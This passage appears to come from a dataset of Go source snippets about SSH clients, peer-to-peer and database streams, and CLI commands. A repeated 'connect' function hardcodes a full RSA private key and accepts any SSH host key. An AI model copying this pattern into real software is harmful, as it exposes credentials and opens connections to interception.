bytes.Buffer\\n\\tvar stderr bytes.Buffer\\n\\tclient, err := bc.SSHClient(m.IP())\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tdefer client.Close()\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tsession.Stdout = &stdout\\n\\tsession.Stderr = &stderr\\n\\terr = session.Run(cmd)\\n\\toutBytes := bytes.TrimSpace(stdout.Bytes())\\n\\terrBytes := bytes.TrimSpace(stderr.Bytes())\\n\\treturn outBytes, errBytes, err\\n}\",\n \"func NewStream(host core.Host, pid core.PeerID, protoIDs ...core.ProtocolID) (core.Stream, error) {\\n\\n\\tstream, err := host.NewStream(context.Background(), pid, protoIDs...)\\n\\t// EOF表示底层连接断开, 增加一次重试\\n\\tif err == io.EOF {\\n\\t\\tlog.Debug(\\\"NewStream\\\", \\\"msg\\\", \\\"RetryConnectEOF\\\")\\n\\t\\tstream, err = host.NewStream(context.Background(), pid, protoIDs...)\\n\\t}\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"NewStream\\\", \\\"pid\\\", pid.Pretty(), \\\"msgID\\\", protoIDs, \\\" err\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn stream, nil\\n}\",\n \"func (agent *Agent) OpenStream(vbId uint16, flags DcpStreamAddFlag, vbUuid VbUuid, startSeqNo,\\n\\tendSeqNo, snapStartSeqNo, snapEndSeqNo SeqNo, evtHandler StreamObserver, filter *StreamFilter, cb OpenStreamCallback) (PendingOp, error) {\\n\\tvar req *memdQRequest\\n\\thandler := func(resp *memdQResponse, _ *memdQRequest, err error) {\\n\\t\\tif resp != nil && resp.Magic == resMagic {\\n\\t\\t\\t// This is the response to the open stream request.\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treq.Cancel()\\n\\n\\t\\t\\t\\t// All client errors are handled by the StreamObserver\\n\\t\\t\\t\\tcb(nil, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tnumEntries := len(resp.Value) / 16\\n\\t\\t\\tentries := make([]FailoverEntry, numEntries)\\n\\t\\t\\tfor i := 0; i < numEntries; i++ {\\n\\t\\t\\t\\tentries[i] = FailoverEntry{\\n\\t\\t\\t\\t\\tVbUuid: VbUuid(binary.BigEndian.Uint64(resp.Value[i*16+0:])),\\n\\t\\t\\t\\t\\tSeqNo: SeqNo(binary.BigEndian.Uint64(resp.Value[i*16+8:])),\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tcb(entries, nil)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif err != nil {\\n\\t\\t\\treq.Cancel()\\n\\t\\t\\tstreamId := noStreamId\\n\\t\\t\\tif filter != nil {\\n\\t\\t\\t\\tstreamId = filter.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.End(vbId, streamId, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// This is one of the stream events\\n\\t\\tswitch resp.Opcode {\\n\\t\\tcase cmdDcpSnapshotMarker:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tnewStartSeqNo := binary.BigEndian.Uint64(resp.Extras[0:])\\n\\t\\t\\tnewEndSeqNo := binary.BigEndian.Uint64(resp.Extras[8:])\\n\\t\\t\\tsnapshotType := binary.BigEndian.Uint32(resp.Extras[16:])\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.SnapshotMarker(newStartSeqNo, newEndSeqNo, vbId, streamId, SnapshotState(snapshotType))\\n\\t\\tcase cmdDcpMutation:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\\n\\t\\t\\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\\n\\t\\t\\tflags := binary.BigEndian.Uint32(resp.Extras[16:])\\n\\t\\t\\texpiry := binary.BigEndian.Uint32(resp.Extras[20:])\\n\\t\\t\\tlockTime := binary.BigEndian.Uint32(resp.Extras[24:])\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.Mutation(seqNo, revNo, flags, expiry, lockTime, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\\n\\t\\tcase cmdDcpDeletion:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\\n\\t\\t\\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.Deletion(seqNo, revNo, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\\n\\t\\tcase cmdDcpExpiration:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\\n\\t\\t\\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.Expiration(seqNo, revNo, resp.Cas, vbId, resp.CollectionID, streamId, resp.Key)\\n\\t\\tcase cmdDcpEvent:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\\n\\t\\t\\teventCode := StreamEventCode(binary.BigEndian.Uint32(resp.Extras[8:]))\\n\\t\\t\\tversion := resp.Extras[12]\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\n\\t\\t\\tswitch eventCode {\\n\\t\\t\\tcase StreamEventCollectionCreate:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tcollectionId := binary.BigEndian.Uint32(resp.Value[12:])\\n\\t\\t\\t\\tvar ttl uint32\\n\\t\\t\\t\\tif version == 1 {\\n\\t\\t\\t\\t\\tttl = binary.BigEndian.Uint32(resp.Value[16:])\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tevtHandler.CreateCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, ttl, streamId, resp.Key)\\n\\t\\t\\tcase StreamEventCollectionDelete:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tcollectionId := binary.BigEndian.Uint32(resp.Value[12:])\\n\\t\\t\\t\\tevtHandler.DeleteCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, streamId)\\n\\t\\t\\tcase StreamEventCollectionFlush:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tevtHandler.FlushCollection(seqNo, version, vbId, manifestUid, collectionId)\\n\\t\\t\\tcase StreamEventScopeCreate:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tevtHandler.CreateScope(seqNo, version, vbId, manifestUid, scopeId, streamId, resp.Key)\\n\\t\\t\\tcase StreamEventScopeDelete:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tevtHandler.DeleteScope(seqNo, version, vbId, manifestUid, scopeId, streamId)\\n\\t\\t\\tcase StreamEventCollectionChanged:\\n\\t\\t\\t\\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\\n\\t\\t\\t\\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\\n\\t\\t\\t\\tttl := binary.BigEndian.Uint32(resp.Value[12:])\\n\\t\\t\\t\\tevtHandler.ModifyCollection(seqNo, version, vbId, manifestUid, collectionId, ttl, streamId)\\n\\t\\t\\t}\\n\\t\\tcase cmdDcpStreamEnd:\\n\\t\\t\\tvbId := uint16(resp.Vbucket)\\n\\t\\t\\tcode := streamEndStatus(binary.BigEndian.Uint32(resp.Extras[0:]))\\n\\t\\t\\tvar streamId uint16\\n\\t\\t\\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\\n\\t\\t\\t\\tstreamId = resp.FrameExtras.StreamId\\n\\t\\t\\t}\\n\\t\\t\\tevtHandler.End(vbId, streamId, getStreamEndError(code))\\n\\t\\t\\treq.Cancel()\\n\\t\\t}\\n\\t}\\n\\n\\textraBuf := make([]byte, 48)\\n\\tbinary.BigEndian.PutUint32(extraBuf[0:], uint32(flags))\\n\\tbinary.BigEndian.PutUint32(extraBuf[4:], 0)\\n\\tbinary.BigEndian.PutUint64(extraBuf[8:], uint64(startSeqNo))\\n\\tbinary.BigEndian.PutUint64(extraBuf[16:], uint64(endSeqNo))\\n\\tbinary.BigEndian.PutUint64(extraBuf[24:], uint64(vbUuid))\\n\\tbinary.BigEndian.PutUint64(extraBuf[32:], uint64(snapStartSeqNo))\\n\\tbinary.BigEndian.PutUint64(extraBuf[40:], uint64(snapEndSeqNo))\\n\\n\\tvar val []byte\\n\\tval = nil\\n\\tif filter != nil {\\n\\t\\tconvertedFilter := streamFilter{}\\n\\t\\tfor _, cid := range filter.Collections {\\n\\t\\t\\tconvertedFilter.Collections = append(convertedFilter.Collections, fmt.Sprintf(\\\"%x\\\", cid))\\n\\t\\t}\\n\\t\\tif filter.Scope != noScopeId {\\n\\t\\t\\tconvertedFilter.Scope = fmt.Sprintf(\\\"%x\\\", filter.Scope)\\n\\t\\t}\\n\\t\\tif filter.ManifestUid != noManifestUid {\\n\\t\\t\\tconvertedFilter.ManifestUid = fmt.Sprintf(\\\"%x\\\", filter.ManifestUid)\\n\\t\\t}\\n\\t\\tif filter.StreamId != noStreamId {\\n\\t\\t\\tconvertedFilter.StreamId = filter.StreamId\\n\\t\\t}\\n\\t\\tvar err error\\n\\t\\tval, err = json.Marshal(convertedFilter)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\treq = &memdQRequest{\\n\\t\\tmemdPacket: memdPacket{\\n\\t\\t\\tMagic: reqMagic,\\n\\t\\t\\tOpcode: cmdDcpStreamReq,\\n\\t\\t\\tDatatype: 0,\\n\\t\\t\\tCas: 0,\\n\\t\\t\\tExtras: extraBuf,\\n\\t\\t\\tKey: nil,\\n\\t\\t\\tValue: val,\\n\\t\\t\\tVbucket: vbId,\\n\\t\\t},\\n\\t\\tCallback: handler,\\n\\t\\tReplicaIdx: 0,\\n\\t\\tPersistent: true,\\n\\t}\\n\\treturn agent.dispatchOp(req)\\n}\",\n \"func ConnectSSH(ip string) (*goph.Client, error) {\\n\\t// gets private ssh key\\n\\thome, err := os.UserHomeDir()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdir := home + \\\"/.ssh/id_rsa\\\"\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Printf(\\\"Type password of ssh key:\\\")\\n\\tpass, err := reader.ReadString('\\\\n')\\n\\tpass = strings.Trim(pass, \\\"\\\\n\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// gets an auth method goph.Auth for handling the connection request\\n\\tauth, err := goph.Key(dir, pass)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// asks for a new ssh connection returning the client for SSH\\n\\tclient, err := goph.NewConn(&goph.Config{\\n\\t\\tUser: \\\"root\\\",\\n\\t\\tAddr: ip,\\n\\t\\tPort: 22,\\n\\t\\tAuth: auth,\\n\\t\\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn client, nil\\n}\",\n \"func (s *Ssh) Connect() (*ssh.Client, error) {\\n\\tdialString := fmt.Sprintf(\\\"%s:%d\\\", s.Host, s.Port)\\n\\tlogger.Yellow(\\\"ssh\\\", \\\"Connecting to %s as %s\\\", dialString, s.Username)\\n\\n\\t// We have to call PublicKey() to make sure signer is initialized\\n\\tPublicKey()\\n\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: s.Username,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t}\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", dialString, config)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn client, nil\\n}\",\n \"func connectPipeline(commandList []exec.Cmd) error {\\n\\tvar err error\\n\\n\\tfor i := range commandList {\\n\\t\\tif i == len(commandList)-1 {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tif commandList[i+1].Stdin != nil || commandList[i].Stdout != nil {\\n\\t\\t\\treturn errors.New(\\\"Ambiguous input for file redirection and pipe\\\")\\n\\t\\t}\\n\\t\\tcommandList[i+1].Stdin, err = commandList[i].StdoutPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\tif commandList[0].Stdin == nil {\\n\\t\\tcommandList[0].Stdin = os.Stdin\\n\\t}\\n\\tif commandList[len(commandList)-1].Stdout == nil {\\n\\t\\tcommandList[len(commandList)-1].Stdout = os.Stdout\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\\n\\tid := stream.ID()\\n\\tss.Lock()\\n\\tabp, ok := ss.awaitingBidiPipeMap[id]\\n\\tif ok {\\n\\t\\tdelete(ss.awaitingBidiPipeMap, id)\\n\\t}\\n\\tss.Unlock()\\n\\n\\tif !ok {\\n\\t\\treturn nil, nil\\n\\t}\\n\\tdlog.Debugf(ctx, \\\" FWD %s, connect session %s with %s\\\", id, abp.stream.SessionID(), stream.SessionID())\\n\\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\\n\\tbidiPipe.Start(ctx)\\n\\n\\tdefer close(abp.bidiPipeCh)\\n\\tselect {\\n\\tcase <-ss.done:\\n\\t\\treturn nil, status.Error(codes.Canceled, \\\"session cancelled\\\")\\n\\tcase abp.bidiPipeCh <- bidiPipe:\\n\\t\\treturn bidiPipe, nil\\n\\t}\\n}\",\n \"func NewCmdGetStream(commonOpts *opts.CommonOptions) *cobra.Command {\\n\\toptions := &GetStreamOptions{\\n\\t\\tGetOptions: GetOptions{\\n\\t\\t\\tCommonOptions: commonOpts,\\n\\t\\t},\\n\\t}\\n\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"stream\\\",\\n\\t\\tShort: \\\"Displays the version of a chart, package or docker image from the Version Stream\\\",\\n\\t\\tLong: getStreamLong,\\n\\t\\tExample: getStreamExample,\\n\\t\\tAliases: []string{\\\"url\\\"},\\n\\t\\tRun: func(cmd *cobra.Command, args []string) {\\n\\t\\t\\toptions.Cmd = cmd\\n\\t\\t\\toptions.Args = args\\n\\t\\t\\terr := options.Run()\\n\\t\\t\\thelper.CheckErr(err)\\n\\t\\t},\\n\\t}\\n\\tcmd.Flags().StringVarP(&options.Kind, \\\"kind\\\", \\\"k\\\", \\\"docker\\\", \\\"The kind of version. Possible values: \\\"+strings.Join(versionstream.KindStrings, \\\", \\\"))\\n\\tcmd.Flags().StringVarP(&options.VersionsRepository, \\\"repo\\\", \\\"r\\\", \\\"\\\", \\\"Jenkins X versions Git repo\\\")\\n\\tcmd.Flags().StringVarP(&options.VersionsGitRef, \\\"versions-ref\\\", \\\"\\\", \\\"\\\", \\\"Jenkins X versions Git repository reference (tag, branch, sha etc)\\\")\\n\\treturn cmd\\n}\",\n \"func init() {\\n\\tcmd := cli.Command{\\n\\t\\tName: \\\"ssh\\\",\\n\\t\\tUsage: \\\"create and manage ssh certificates\\\",\\n\\t\\tUsageText: \\\"step ssh [arguments] [global-flags] [subcommand-flags]\\\",\\n\\t\\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\\n\\n## EXAMPLES\\n\\nGenerate a new SSH key pair and user certificate:\\n'''\\n$ step ssh certificate joe@work id_ecdsa\\n'''\\n\\nGenerate a new SSH key pair and host certificate:\\n'''\\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\\n'''\\n\\nAdd a new user certificate to the agent:\\n'''\\n$ step ssh login joe@example.com\\n'''\\n\\nRemove a certificate from the agent:\\n'''\\n$ step ssh logout joe@example.com\\n'''\\n\\nList all keys in the agent:\\n'''\\n$ step ssh list\\n'''\\n\\nConfigure a user environment with the SSH templates:\\n'''\\n$ step ssh config\\n'''\\n\\nInspect an ssh certificate file:\\n'''\\n$ step ssh inspect id_ecdsa-cert.pub\\n'''\\n\\nInspect an ssh certificate in the agent:\\n'''\\n$ step ssh list --raw joe@example.com | step ssh inspect\\n'''\\n\\nList all the hosts you have access to:\\n'''\\n$ step ssh hosts\\n'''\\n\\nLogin into one host:\\n'''\\n$ ssh internal.example.com\\n'''`,\\n\\t\\tSubcommands: cli.Commands{\\n\\t\\t\\tcertificateCommand(),\\n\\t\\t\\tcheckHostCommand(),\\n\\t\\t\\tconfigCommand(),\\n\\t\\t\\tfingerPrintCommand(),\\n\\t\\t\\thostsCommand(),\\n\\t\\t\\tinspectCommand(),\\n\\t\\t\\tlistCommand(),\\n\\t\\t\\tloginCommand(),\\n\\t\\t\\tlogoutCommand(),\\n\\t\\t\\tneedsRenewalCommand(),\\n\\t\\t\\t// proxyCommand(),\\n\\t\\t\\tproxycommandCommand(),\\n\\t\\t\\trekeyCommand(),\\n\\t\\t\\trenewCommand(),\\n\\t\\t\\trevokeCommand(),\\n\\t\\t},\\n\\t}\\n\\n\\tcommand.Register(cmd)\\n}\",\n \"func newOpenCTRLStr(channel string) *Instruction {\\n\\treturn &Instruction{\\n\\t\\tType: OpenCTRLStrInst,\\n\\t\\tName: \\\"OpenCTRLStream\\\",\\n\\t\\tChannel: channel,\\n\\t}\\n}\",\n \"func handleDirectTcp(newChannel ssh.NewChannel, ca *ConnectionAlert) {\\n\\t//pp(\\\"handleDirectTcp called!\\\")\\n\\n\\tp := &channelOpenDirectMsg{}\\n\\tssh.Unmarshal(newChannel.ExtraData(), p)\\n\\ttargetAddr := fmt.Sprintf(\\\"%s:%d\\\", p.Rhost, p.Rport)\\n\\tlog.Printf(\\\"direct-tcpip got channelOpenDirectMsg request to destination %s\\\",\\n\\t\\ttargetAddr)\\n\\n\\tchannel, req, err := newChannel.Accept() // (Channel, <-chan *Request, error)\\n\\tpanicOn(err)\\n\\tgo ssh.DiscardRequests(req)\\n\\n\\tgo func(ch ssh.Channel, host string, port uint32) {\\n\\n\\t\\tvar targetConn net.Conn\\n\\t\\tvar err error\\n\\t\\taddr := fmt.Sprintf(\\\"%s:%d\\\", p.Rhost, p.Rport)\\n\\t\\tswitch port {\\n\\t\\tcase minus2_uint32:\\n\\t\\t\\t// unix domain request\\n\\t\\t\\tpp(\\\"direct.go has unix domain forwarding request\\\")\\n\\t\\t\\ttargetConn, err = net.Dial(\\\"unix\\\", host)\\n\\t\\tcase 1:\\n\\t\\t\\tpp(\\\"direct.go has port 1 forwarding request. ca = %#v\\\", ca)\\n\\t\\t\\tif ca != nil && ca.PortOne != nil {\\n\\t\\t\\t\\tpp(\\\"handleDirectTcp sees a port one request with a live ca.PortOne\\\")\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase ca.PortOne <- ch:\\n\\t\\t\\t\\tcase <-ca.ShutDown:\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tpanic(\\\"wat?\\\")\\n\\t\\t\\tfallthrough\\n\\t\\tdefault:\\n\\t\\t\\ttargetConn, err = net.Dial(\\\"tcp\\\", targetAddr)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"sshd direct.go could not forward connection to addr: '%s'\\\", addr)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tlog.Printf(\\\"sshd direct.go forwarding direct connection to addr: '%s'\\\", addr)\\n\\n\\t\\tsp := newShovelPair(false)\\n\\t\\tsp.Start(targetConn, ch, \\\"targetBehindSshd<-fromDirectClient\\\", \\\"fromDirectClient<-targetBehindSshd\\\")\\n\\t}(channel, p.Rhost, p.Rport)\\n}\",\n \"func connect(user, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\tglog.Infoln(\\\"Unable to parse test key :\\\", err)\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\t//\\t\\tTimeout: \\t\\t\\t60 * time.Second,\\n\\t\\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn session, nil\\n}\",\n \"func connect(user, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA 